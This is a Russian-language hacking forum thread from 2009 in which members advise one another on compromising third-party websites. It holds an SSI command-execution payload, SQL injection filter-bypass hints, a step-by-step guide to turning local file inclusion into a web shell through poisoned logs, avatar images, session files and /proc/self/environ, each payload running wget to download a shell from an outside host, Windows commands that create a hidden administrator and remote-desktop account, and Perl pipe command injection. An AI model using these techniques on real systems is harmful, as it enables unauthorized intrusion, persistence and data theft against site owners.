Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    Попробуй залить .shtml-файл вот с таким <!--#exec cmd="$QUERY_STRING_UNESCAPED"-->
     
  2. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Может быть intval();
    Хотя &showuser=3058-1 работает.
    пробуй
    unIoN+SeLecT
    Может быть просто фильтр.
     
  3. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Смотрите есть сайт с PHP-inj

    http://site.ru/module/index.php?p=index

    Ну понятно что в $_GET[p] и переносится путь до файла.
    Если указываю не верный путь то пишет что фаил не найден, значит стоит проверка на то есть ли фаил...
    Открыл config.php начего не написалось так как нет вывода...

    Также есть форум на vBulletin ну попробовал открыть индекс
    ../forum/index мне написалось что пути до конфгов не найдены и уже видел еррор, тоесть ошибки не отключены

    Из ошибки видно что апач стоит на винде...
    попытки загрузить внешку типо
    PHP:
    http://site.ru/module/index.php?p=http://forum.antichat.ru/newreply
    Закнончились неудачей типо фаил не найден, FTP метод тож не прошёл...


    Подскажите что можно сделать?

    Может так как система на винде, можно чтолить интересного накопать? Хотя не могу оборвать расширение которое присваевается (.php)
     
    #8443 Byrger, 16 Aug 2009
    Last edited: 16 Aug 2009
  4. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    Может скрипт прикручивает расширение файлу? Попробуй поэксперементировать с нулл-байтом.
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    обрезать расширение нул-байтом и инклудить логи/картинки/сессии/environ/etc
    попробовать php://input
     
    2 people like this.
  6. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Spyder, я от нечего делать рассписал эти методы залития шелла через LFI.

    Скорее всего директива allow_url_include = off. Т.е. проинклюдить удаленно не удастся.

    Вариант #0. Можно инклюдить логи, но надо знать путь к ним. Есть специальная тема со списком путей к httpd.conf. Не нашёл пути - пропускай этот пункт. Там есть директива TransferLog, в которой находится абсолютный путь к логам. Открой
    Code:
    index.php?<?php system('wget http://mysite.ru/shell.txt -O shell.php');?>
    После этого в лог-файл запишется PHP код, тебе останется только проинклюдить лог-файл.

    Вариант #1. Создай картинку, впиши в конец файла <?php system('wget http://mysite.ru/shell.txt -O shell.php');?>, только не блокнотом, а любым хекс-редактором. Реганись на форуме, залей себе эту картинку в кач-ве аватары, или фотки, etc. Потом инклюдь эту картинку
    Code:
    http://site.ru/module/index.php?p=../forum/avatars/avatar28082.gif
    И открывай файлик shell.

    Вариант #2. Допустим, на сайте есть код, вида
    PHP:
    session_start();
    $_SESSION['id']=$_GET['value'];
    Тогда открывай
    Code:
    file.php?value=<?php system('wget http://mysite.ru/shell.txt -O shell.php');?>
    Дальше в куки сайта смотри PHPSESSID и инклюдь
    Code:
    /tmp/sess_PHPSESSID
    Путь к сохраниению сессий может быть иной...

    Вариант #3. Еще есть вариант с /proc/self/environ. Если проинклюдив его, ты получаешь что-то вида
    Code:
    DOCUMENT_ROOT=/var/www GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.site.ru/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?p=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/var/www SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.site.ru SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
    Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.site.ru Port 80
    Считай, что шелл у тебя есть. Используй любую HTTP-тулзу, н.п. InetCrack и измени отправляемый заголовк User-Agent на <?php system('wget http://mysite.ru/shell.txt -O shell.php');?>.

    ЗЫ: system() может не работать, используй exec();
    wget может не работать, используй lynx, fetch, curl...
     
    #8446 mailbrush, 16 Aug 2009
    Last edited: 16 Aug 2009
    2 people like this.
  7. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Ну ты то PHP шелл :)
    Может там он удаляет PHP файлы все.
    ищи шелл на ASP
     
    1 person likes this.
  8. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    DeluxeS загляни сюда http://forum.antichat.ru/thread103576.html
     
    2 people like this.
  9. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    net user user pass /add
    net localgroup Administrators user /add
    net localgroup "Remote Desktop Users" user /add
    net accounts /maxpwage:unlimited
     
  10. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    А для того, чтобы не запалили, надо сделать в реестре такую фичу:
    HKLM/SOFTWARE/Microsoft/Windows NT/Current Version/Winlogon/SpecialAccounts/Userlist/
    Создаёшь там параметр с типом REG_DWORD, именем своего юзера и значением 0.
     
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    DeluxeS, рес куда ты хочешь залить свой шелл случайно не едушка?
     
  12. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Задаюсь я этим вопросом уже не впервый раз =\
    Я проинклюдил /proc/self/environ, но инклюдящий файл не PHP, a CGI. PHP команды, разумеется, не пашут, так что же можно сделать?


    //Как я понял мне нужен аналог system'a на perl'e, но может я не прав.
     
  13. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    все зависит от того на каком языке написана cgi
    для перла
    так же не факт что они там вообще eval-ятся.
     
  14. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    geezer.code
    Но как обрамить код и прочее? Т.е. можешь привести пример (User-Agent: blablabla), а мне сейчас негде проверить, т.к. на этом сайте была просто читалка, но встречал такое очень часто.
     
  15. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    я не перл-программер.
    бегло пробежался по гуглу.
    и поспрошал на канале у знатоков.
    Перл не страдает таким извращением как пхп, и без "особых условий"
    LFI как в пхп, провести нельзя.
     
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Есть инклюд
    Code:
    http://www.lauralee.com/index.cgi?page=../../../../../../../proc/self/environ%00
    При подмене заголовка User-Agent, в сорсах
    Т.е. PHP-код не интерпретируется. Можно ли, и если да, то как, обойти это?
     
    #8456 mailbrush, 17 Aug 2009
    Last edited: 17 Aug 2009
  17. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    mailbrush

    http://www.lauralee.com/index.cgi?page=./index.cgi%00

    У меня с перлом хреново, но PHP код там точно исполняться не будет, можешь быть уверен

    И инклуд тут тоже абсолютно непричём
     
    #8457 Kakoytoxaker, 17 Aug 2009
    Last edited: 17 Aug 2009
    1 person likes this.
  18. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    о_О, точно, спасибо :) Вообще как-то не обратил внимания на расширение .cgi.
    ЗЫ: А предыдущий вопрос от Tigger'a был точно такой же :)
     
  19. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    есть cgi шеллы
     
  20. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    выполнение PERL-кода ты получишь только если переменная попадет в do или eval, но такого почти никогда не бывает. Если используется open то иногда можно выполнять системные команды или писать в файлы
    в случае mailbrush в коде index.cgi было так:
    Code:
    open (PAGE, "< $page");
    знак '<' обозначает открыть файл для чтения, то есть уязвимость - простая читалка файлов.
    если бы было так:
    Code:
    open (PAGE, $page);
    то тут уже можно выполнять команды, примерно так: ?page=| ls -la
    знак конвеера - запустить команду, знак '>' - открыть для записи.
     
    3 people like this.
Thread Status:
Not open for further replies.